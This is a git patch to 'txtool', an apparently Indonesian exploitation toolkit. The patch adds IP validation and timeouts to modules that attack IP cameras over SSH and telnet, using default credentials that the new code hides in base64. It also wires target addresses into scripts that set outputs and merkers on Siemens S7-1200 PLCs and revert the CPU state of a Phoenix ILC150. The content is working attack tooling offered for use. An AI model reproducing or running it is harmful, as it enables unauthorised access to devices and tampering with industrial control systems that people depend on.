From cb98df10a5a8ed27d1bcc336c1e5eb06d930f4c3 Mon Sep 17 00:00:00 2001 From: kuburan Date: Wed, 25 Apr 2018 18:19:21 +0700 Subject: [PATCH] add timeout and fix error --- CHANGELOG | 4 ++++ core/version.txt | 2 +- module/module18.py | 19 +++++++++++-------- module/module7.py | 34 +++++++++++++++++++++++----------- txtool | 2 +- 5 files changed, 40 insertions(+), 21 deletions(-) diff --git a/CHANGELOG b/CHANGELOG index 6beb6e0..177c146 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,3 +1,7 @@ +-- April 25, 2018 -- +* v1.3-rev3 +* add timeout and fix error + -- April 10, 2018 -- * v1.3-rev2 * Master IP CAM 01 Multiple Vulnerabilities diff --git a/core/version.txt b/core/version.txt index 79d9039..69aff54 100644 --- a/core/version.txt +++ b/core/version.txt @@ -1 +1 @@ - 1.3-rev2 + 1.3-rev3 diff --git a/module/module18.py b/module/module18.py index d2c6ed3..6fc1d8a 100644 --- a/module/module18.py +++ b/module/module18.py @@ -74,7 +74,7 @@ def exploit2(): BACK.menu['menu_utama']() if not true_ip: - print(warna.merah + "\n[x] " + warna.tutup + "Warning. wrong ip address, txtool will be assume exploitation is canceled") + print(warna.merah + "\n[x] " + warna.tutup + "Incorrect ip address, txtool will be assume exploitation is canceled") raw_input(" press <" + warna.hijau + "Enter" + warna.tutup + "> to continue ") BACK.menu['menu_utama']() @@ -119,7 +119,7 @@ def exploit2(): BACK.menu['menu_utama']() if not true_ip: - print(warna.merah + "\n[x] " + warna.tutup + "Warning. wrong ip address, txtool will be assume exploitation is canceled") + print(warna.merah + "\n[x] " + warna.tutup + "Incorrect ip address, txtool will be assume exploitation is canceled") raw_input(" press <" + warna.hijau + "Enter" + warna.tutup + "> to continue ") BACK.menu['menu_utama']() @@ -360,7 +360,8 @@ def exploit3(): BACK.menu['menu_utama']() if not true_ip: - print(warna.merah + "\n[x] " + warna.tutup + "incorrect IP address") + print(warna.merah + "\n[x] " + warna.tutup + "Incorrect ip address, txtool will be assume exploitation is canceled") + raw_input(" press <" + warna.hijau + "Enter" + warna.tutup + "> to continue ") BACK.menu['menu_utama']() port = '9000' @@ -428,13 +429,14 @@ def exploit4(): print(warna.kuning + "[!]" + warna.tutup + " Affected version : 2.10 (X-Prototype-Version: 1.6.0.2)") ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) - + y = xxxx(b'cm9vdA==') + z = xxxx(b'dmlkZW9mbG93') _host = raw_input(warna.biru + "\n[+]" + warna.tutup + " Target ip address" + warna.kuning + " >> " + warna.tutup) paramiko.util.log_to_file("%s/%s.log" % (txtool_dir, _host)) - _user = ["""root""", + _user = [y, """mom"""] _connection = None - p = ["""videoflow""", + p = [z, """$1$CGgdGXXG$0FmyyKMzcHgkKnUTZi5r./"""] _passwords = [line.strip() for line in p] _username = [line.strip() for line in _user] @@ -445,7 +447,8 @@ def exploit4(): BACK.menu['menu_utama']() if not true_ip: - print(warna.merah + "\n[x] " + warna.tutup + "incorrect IP address") + print(warna.merah + "\n[x] " + warna.tutup + "Incorrect ip address, txtool will be assume exploitation is canceled") + raw_input(" press <" + warna.hijau + "Enter" + warna.tutup + "> to continue ") BACK.menu['menu_utama']() print(warna.hijau + "\n[*] " + warna.tutup + "Trying to login...") @@ -558,7 +561,7 @@ def exploit5(): try: _user = xxxx(b'cm9vdA==') _password = xxxx(b'Y2F0MTAyOQ==') - tel_conn = telnetlib.Telnet(_host) + tel_conn = telnetlib.Telnet(_host, timeout=10) tel_conn.expect(["RT-IPC login: "], 10) tel_conn.write(_user + "\n") tel_conn.expect(["Password: ", "password"], 10) diff --git a/module/module7.py b/module/module7.py index b4caf02..ec51e59 100644 --- a/module/module7.py +++ b/module/module7.py @@ -11,7 +11,7 @@ from email.mime.text import MIMEText sys.path.append("/data/data/com.termux/files/usr/share/txtool/core") -from fungsi import warna, IP2, txtool_dir, finish_exploit, IP +from fungsi import warna, IP2, txtool_dir, finish_exploit, IP, ipv4 from sub_menu import kembali import sub_menu3 as back @@ -374,12 +374,18 @@ def menu8(): def menu9(): IP() - print(warna.kuning + "\n[!] " + warna.tutup + " Print out CPU status and reverts it, tested and working on ILC150 (at least partially working on others") - ip = raw_input(warna.biru + "\n[+] " + warna.tutup + " Enter IP address" + warna.kuning + " >> " + warna.tutup) + print(warna.kuning + "\n[!]" + warna.tutup + " Print out CPU status and reverts it, tested and working on ILC150 (at least partially working on others") + ip = raw_input(warna.biru + "\n[+]" + warna.tutup + " ip address" + warna.kuning + " >> " + warna.tutup) + true_ip = ipv4(ip) if ip == '': empty() back.menu['menu_utama']() + elif not true_ip: + print(warna.merah + "\n[x] " + warna.tutup + "Incorrect ip address, txtool will be assume exploitation is canceled") + raw_input(" press <" + warna.hijau + "Enter" + warna.tutup + "> to continue ") + back.menu['menu_utama']() + else: subprocess.Popen("%s/PhoenixControlPLC-ILC150.py %s " % (path, ip), shell=True).wait() @@ -387,21 +393,27 @@ def menu9(): def menu10(): IP() - print(warna.kuning + "\n[!] " + warna.tutup + " reading inputs, setting outputs, and merkers of for Siemens S7-1200 (firmware <= v3)") - ip = raw_input(warna.biru + "\n[+] " + warna.tutup + " Enter IP address" + warna.kuning + " >> " + warna.tutup) + print(warna.kuning + "\n[!]" + warna.tutup + " reading inputs, setting outputs, and merkers of for Siemens S7-1200 (firmware <= v3)") + ip = raw_input(warna.biru + "\n[+]" + warna.tutup + " ip address" + warna.kuning + " >> " + warna.tutup) + true_ip = ipv4(ip) if ip == '': empty() back.menu['menu_utama']() - print(warna.kuning + "\n[!] " + warna.tutup + " The default port is 102") - port = raw_input(warna.biru + "[+] " + warna.tutup + " Enter Port number [102]" + warna.kuning + " >> " + warna.tutup) + elif not true_ip: + print(warna.merah + "\n[x] " + warna.tutup + "Incorrect ip address, txtool will be assume exploitation is canceled") + raw_input(" press <" + warna.hijau + "Enter" + warna.tutup + "> to continue ") + back.menu['menu_utama']() + + print(warna.kuning + "\n[!]" + warna.tutup + " The default port is 102") + port = raw_input(warna.biru + "[+]" + warna.tutup + " port number" + warna.kuning + " >> " + warna.tutup) if port == "": port = "102" - print(warna.kuning + '\n[!] ' + warna.tutup + ' Example : "10101010,3" to set merkers 3.0 through 3.7') - merker = raw_input(warna.biru + "[+] " + warna.tutup + " Set the merkers" + warna.kuning + " >> " + warna.tutup) - print(warna.kuning + '\n[!] ' + warna.tutup + ' Example set output : "00000000"') - output = raw_input(warna.biru + "[+] " + warna.tutup + " Set outputs" + warna.kuning + " >> " + warna.tutup) + print(warna.kuning + '\n[!]' + warna.tutup + ' Example : "10101010,3" to set merkers 3.0 through 3.7') + merker = raw_input(warna.biru + "[+]" + warna.tutup + " Set the merkers" + warna.kuning + " >> " + warna.tutup) + print(warna.kuning + '\n[!] ' + warna.tutup + 'Example set output : "00000000"') + output = raw_input(warna.biru + "[+] " + warna.tutup + "Set outputs" + warna.kuning + " >> " + warna.tutup) if output == '' and merker =='' and port =='': subprocess.Popen("%s/S7-1200-Workshop.py -t %s -p 102 -r " % (path, ip), shell=True).wait() diff --git a/txtool b/txtool index 6651df8..ae82b92 100755 --- a/txtool +++ b/txtool @@ -2,7 +2,7 @@ """ Created by : Kuburan_0day A.K.A Gembur Ae - Version : 1.3-rev2 + Version : 1.3-rev3 Codename : Tali Pocong """